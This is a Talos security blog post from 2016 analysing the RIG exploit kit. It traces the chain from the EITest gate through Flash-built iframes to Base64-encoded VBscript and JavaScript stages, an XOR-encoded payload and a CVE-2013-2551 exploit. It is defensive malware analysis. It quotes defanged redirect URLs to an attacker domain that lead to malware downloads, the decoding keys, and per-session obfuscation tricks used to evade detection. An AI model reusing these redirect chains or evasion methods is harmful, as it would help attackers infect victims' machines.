Thursday, November 3, 2016

Take the RIG Pill: Down the Rabbit Hole

This post is authored by Holger Unterbrink with contributions by Christopher Marczewski


Executive Summary

Talos is monitoring the big notorious Exploit Kits(EK) on an ongoing basis. Since Angler disappeared a few month ago, RIG is one EK which seems to be trying to fill the gap Angler has left. We see an ongoing development on RIG. This report gives more details about the complex infection process the adversaries behind RIG are using to infect their victims and how they attempt to bypass security software and devices.

The adversaries are leveraging Gates (e.g. EITest) to redirect the users to their Landing Page. This leads to a chain of redirects, before the victim finally gets on the landing page of the exploit kit. They are using different methods and stages to deliver the malware files. The same malware file often gets written and executed multiple times on the victim's PC. If one method doesn’t work or is blocked by an Anti-Malware solution, they have a couple of backup methods. All stages and methods are obfuscated, some more, some less.

Many communication parameters e.g. URLs, filenames, etc are individualized for different victims and sessions, which makes it more difficult to detect attacks solely by URLs or document names. We will describe those modifications in the technical details section below.

Infection Process High Level Overview

In this campaign we saw mainly compromised sites, but we are aware of other campaigns redirecting to the RIG EK, where the adversaries also used Malvertising techniques to redirect users to their infection chain.

Fig. A

In this campaign the adversaries behind the Gate have added code to the compromised sites which downloads a malicious Flash file. This Flash file itself, creates two malicious iFrames. Like the Flash file, the content of the iFrame(s) is downloaded from the Gate server.

Fig. B

It is important to note, that the iFrames are not generated at the same time. The second one is generated and placed into the website a bit later after a timer in the first Flash file times out. We have also seen other campaigns where the second iFrame is not loaded and we only have one infection stage.

Fig. C

If we have a look to the first stage, the iFrame is filled with javascript code which redirects the victim to the RIG Exploit Kits landing page.

Fig. D

As mentioned in the picture, the Landing Page is an obfuscated HTML page which includes three embedded scripts. These scripts are hidden in three JavaScript variables. The second one downloads another malicious and heavily obfuscated Flash file.

This variant is not the only one we saw. It seems to be that the RIG based EK(s) are flexible enough that the adversaries can change certain parameters on the fly. We have seen other campaigns which were only using a single infection stage or others which replaced the three scripts we are discussing here, with other scripts, e.g. two VBscripts and one Javascript which downloads another Flash file. The only constant is that they are usually stored in these variables called (s) and that they use Base64 to encode them. This is no big surprise. As far as we know, there is at least one other version of RIG aka RIG-v sold in the underground.
Fig. E

In the end, all of these scripts are downloading and executing the same malware file which the Exploit Kit wants to install on the victim's machine.
After the timer mentioned in Fig. C times out, the second stage begins. With a few minor differences e.g different session numbers, the second stage is almost the same as the first one.

Fig. F

Technical Details

As mentioned above, in this campaign the adversaries were using compromised websites where code similar to the following was added:

Code snippet from the initially infected site:

Fig. G

The link to the site is a good indicator for that we are facing the ElTest gate here. If the victim visits this side, it downloads a malicious flash file (SWF) which includes obfuscated ActionScript. After deobfuscation the script looks like this:

Fig. H

After checking if the user is using a specific version of Internet Explorer, it generates a filename which is used to load a malicious iframe from the same site. You can see in the code above, the variable ‘temp’ is a randomly generated string with a variable length. After generating the string, it randomly adds one of the following extensions to the filename ('html', 'htm', 'jpeg', 'png', 'jpg', 'gif', 'js'). The full generated filename looks like this for example: asd.jpeg

So, the line:
d.innerHTML = <iframe src="<local URL of swf file>' + temp + '"></iframe>

Resolves to something like this:
<iframe src="<local URL of swf file>' + ‘asd.jpeg’ + '"></iframe>

This gets executed two times, which results in embedding a malicious iframe two times into the compromised site. The second attempt happens a bit later after the timer times out. The above generated URLs which are used to fill the iframe are looking like this:

First request:

Second request (content of this document will be discussed later in the report): 

First execution path (asd.jpg)

Even if the first one looks like a JPEG file, it’s not. It is a simple, normal HTML file (see below).

Fig. I

This HTML file is doing nothing else than redirecting the victim to the Exploit Kit landing page:


This loads a large obfuscated HTML file (see below), which includes three variables all called (s). These variables are hiding one base64 encoded VBscript(VBS) and two base64 encoded JavaScript(JS) files. These get executed by the obfuscated script included in the HTML document. These variables are simply Base64 encoded, and they can easily be decoded. After execution, all three download the same final malware that will be installed on the victim’s machine. The only difference? They are trying to exploit different known vulnerabilities.

The large HTML file (truncated for better readability):

Fig. J

Let’s have a look to these three scripts.

First Base64 encoded variable "s"

The first Base64 encoded variable "s" can be decoded to the following VBscript script (truncated for better readability):

Fig. K

After a couple of tests on the target system, it executes the DoMagic() function, which downloads the main malware payload of the campaign such as ransomware using the URL stored in the script e.g.


The HTTP payload it downloads, is simply XOR’ed with a password found in the VBscript (e.g. awMKCDwA), written to disc and executed twice. Once natively in a normal Shell, once as a parameter to the control.exe program which is usually used to open control panel items.

We wrote a small python script which can decode this payload. This means if you have a pcap trace of the infection, you can look for the x-msdownload at the end of the trace, extract the file from the pcap and decode the EK payload files to rebuild the original PE file.

These are the MD5 hashes of the binaries downloaded in some of our campaigns:
D7AB607880B953BA5F87A693278CE14B Gamarue
D3E91CC75AC06D8AF70127D3B972EF8E (broken)

Second Base64 encoded variable "s"

The 2nd variable "s" from the big HTML file (JavaScript) can be decoded to the following JavaScript code. You can see how the EK inserts random comments like “/*sw7586sdd*/” in between the Javascript code. These comments are changed per session, which means that the Base64 encoded blob looks different in every session. The EK uses the same strategy in the whole infection process.

Fig. L (truncated for better readability)

This downloads and executes another malicious Flash File (SWF) with following MD5 hash:

We are currently working on fully deobfuscating the code, but what we can say so far is, that the iddqd parameter (looks like the guys behind this like Doom god mode) seems to be a type of shellcode payload which gets decoded at runtime, combined with other strings stored in the SWF, and finally executed by an exploit.

The SWF is heavily obfuscated by the DoSWF Flash tool. This tool comes with multiple options to encrypt and obfuscate Flash files.
2016-10-07 09_01_21-Untitled - Notepad.jpg
Fig. M
It is an easy-to-use copy protection tool for Flash files; adversaries can combine multiple obfuscation methods on demand. It’s no big surprise that different SWF files from different RIG campaigns are obfuscated with different DoSWF features.

After we decompiled this SWF, all functions and many variables are replaced with hard to read Unicode characters, as shown below.

Fig. N

Most Strings are encrypted and get resolved at runtime e.g. _SafeStr_14.<unicode function name>(-1820302799) below. Thanks to a nice feature of ASV that can evaluate static methods on demand, we can leverage the SWFs own code to decrypt the strings. 
Fig. O
After cleaning up and removing most of the obfuscation we still end up with awful object oriented spaghetti code. Polymorphic methods, objects and methods assigned to chains of variables, etc. The document class where the code execution starts is _SafeStr_12.

Note: The class names are generated dynamically by the ASV tool which we used to decompile the SWF. These names most likly vary on other setups. Maybe a good time for sending out some thanks to the fantastic support of the ASV guys.

Fig. P

After a couple of environment checks regarding OS version, Flash player type, Flash version, & debugger presence, the SWF reads the “iddqd” parameter which we have seen in the Javascript code above. It decodes it and merges it with a string stored inside the SWF (60eb..). Finally, it hands over the reconstructed shell code to the _p78_ function.

Fig. Q
_p80_ and _p81_ are doing the decoding magic of the original string:

Fig. R
Below is the generated string which is finally stored in the shell variable:


It is interesting that this is the same binary blob with small differences, like the one we will see later on in the third variable (s) javascript script, which is stored in the parameter of the called ty() function at the end.

It appears to be the payload which all exploits are executing at the end. The binary blob is XOR’ed with 0x19 and if we decode it, we can see the URL from which it finally loads the EK payload malware. In other words, it loads the final malware which is installed on the victim's PC. It is the same file we have seen above:


Before the “Malware Download URL”, it also shows us an old friend ‘awMKCDwA’,


...the string which we have already seen in the VBS script above. The one which is necessary to XOR decode the malware which finally gets downloaded.

Third Base64 encoded variable "s"

The 3rd variable "s" in the large HTML file is obfuscated JavaScript once again:
Fig. S (truncated for better readability)

After deobfuscating it, we recognized this one is exploiting CVE-2013-2551 (aka MS13-037) to download and infect the victim with the same malware which was downloaded by the Base64 encoded scripts stored in the other variable s. The deobfuscated code is almost a one to one copy of some exploit samples for CVE-2013-2551 which we found in the internet.

Like mentioned above, the parameter of the ty() value is the actual shellcode which gets executed post-exploitation. Like above, the binary data is XOR’ed with 0x19 and includes the URL to download the final malware:


Second Execution Path (rqqjllfd.html)

Now, let’s get back to the other execution path. The timer which we have mentioned above times out and the EITest gate starts the other infection chain. This one is very similar to the one we just looked at. It is actually highly redundant. It is also downloading a similar HTML file with another randomly generated name like we described above.


Fig. T

This redirects the victim to another large HTML file, again similar to the one we have seen above. We see the typical three Base64 encoded variables "s" and they include similar malicious scripts like the ones from stage one:

Fig. U (truncated for better readability)

The variable values look different to the ones above, but after decoding them, they end up in almost the same malicious scripts like we have seen above.

First Base64 variable "s" (again, VBscript): 

You can see below, the session ID changed in the URL the rest is more or less the same.

Fig. V (truncated for better readability)

Second variable "s" (again, almost the same JavaScript like above):

Same for the second one. The URL is again a bit different (session id), but it is the same malicious SWF file, even if the iddqd parameter is different, it is downloading the same malicious malware at the end like we have seen in the first stage.

Fig. W (truncated for better readability)

Third variable "s" (and again, JavaScript):

Same for the third one, we are seeing our friend function ty() again, just the content is adapted to the new session.
Fig. X (truncated for better readability)

This shows all three files are pretty much the same files from a functional perspective, like the ones which we have seen in the previous stage. The main reason they look different in their obfuscated version is that the EK inserts random comments into the JS code as discussed above. You can see some examples below:

Same JavaScript code, different random comments:

Stage 1:

/*sdfgkdfhd20708hfjfs*//*kj24459sdfjdk71976fg*/function u1(e){return unescape(e)}function p1(e){return parseInt(e,16)}

Stage 2:

/*sdfgkdfhd83247hfjfs*//*kj10036sdfjdk60483fg*/function u1(e){return unescape(e)}function p1(e){return parseInt(e,16)}

The other minor difference is something which looks like session numbers. E.g.

Stage 1:

Dim gds, jht, ytr

gds = "hxxp://"

jht = tra(7) & ".exe"

Stage 2:

Dim gds, jht, ytr

gds = "hxxp://"

jht = tra(7) & ".exe"

The rest of the functional code is the same. It also results in downloading the same malware files like the ones we have seen above.

Network overview

To give you an overview of what this looks like on a network, see the summary below.

User visits infected site:

Downloads Flash file (SWF) from ElTest Gate:

Flash file (SWF) creates malicious IFRAME(s) which downloads:

and a bit later (after timer times out):

asd.jpg is a non-obfuscated HTML file, redirecting to:
document.location.href = "hxxp://dsa.FAITHFULBUSINESSVENTURES.COM/?zniKfrGbJRvMDYA=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFd";

this loads the large HTML file including the three variables (s) mentioned in the technical details section. This might be diffrent in other campaigns e.g. two VBscripts and one SWF for example.

s(1) Base64 blob1 – Vbscript → downloads malware
s(2) Base64 blob2 – JS downloads → SWF → downloads malware
s(3) Base64 blob3 – JS → downloads malware

rqqjlld.html is a similar non-obfuscated HTML file, which redirects to:
document.location.href = "hxxp://dsa.FAITHFULBUSINESSVENTURES.COM/?znePf7KfLx7HA4I=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFd";

this is another HTML file similar to the one above including again the three variables (s)

s(1) Base64 blob1 – Vbscript → downloads malware
s(2) Base64 blob2 – JS downloads → SWF → downloads malware
s(3) Base64 blob3 – JS → downloads malware

Let’s see what the scripts in the three s variables are doing:

Stage 1. Var S(1) b64 blob Vbscript

Downloads <final malware e.g. ransomware>

Stage 2. Var S(1) b64 blob VBscript:

Downloads <final malware e.g. ransomware>

Stage 1. Var S(2) JS:

Stage 2. Var S(2) JS:

Both are downloading the Flash file (SWF) with MD5 c6014a32cc06f862ea44db720dfcf553, but are using slightly different iddqd variables.

Stage 1. Var S(2) downloaded SWF

Downloads <final malware e.g. ransomware>

Stage 2. Var S(2) downloaded SWF

Downloads <final malware e.g. ransomware>

Stage 1. Var S(3) JS

Downloads <final malware e.g. ransomware>

Stage 2. Var S(3) JS

Downloads <final malware e.g. ransomware>


We have seen that the adversaries behind the RIG campaign are using gates to redirect their victims to their Exploit Kit. This makes it difficult to follow the whole infection chain and inserts another layer of obfuscation. They are combining different web technologies (e.g. JavaScript, Flash, VBscript) to obfuscate the attack and make it more difficult to reverse engineer and determine how the attack progresses to completion. By changing comment sections in their code per session and by using dynamically changing encoding and encryption for all files transmitted over the wire, they make sure that the scripts are looking different for every session, and ensures they can’t be detected by simple string matches or hash values. The tools and techniques used are giving threat actors extended flexibility to change certain parts of the infection chain on demand.

Protecting Users

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.
ESA can block malicious emails sent by threat actors as part of their campaign.

No comments:

Post a Comment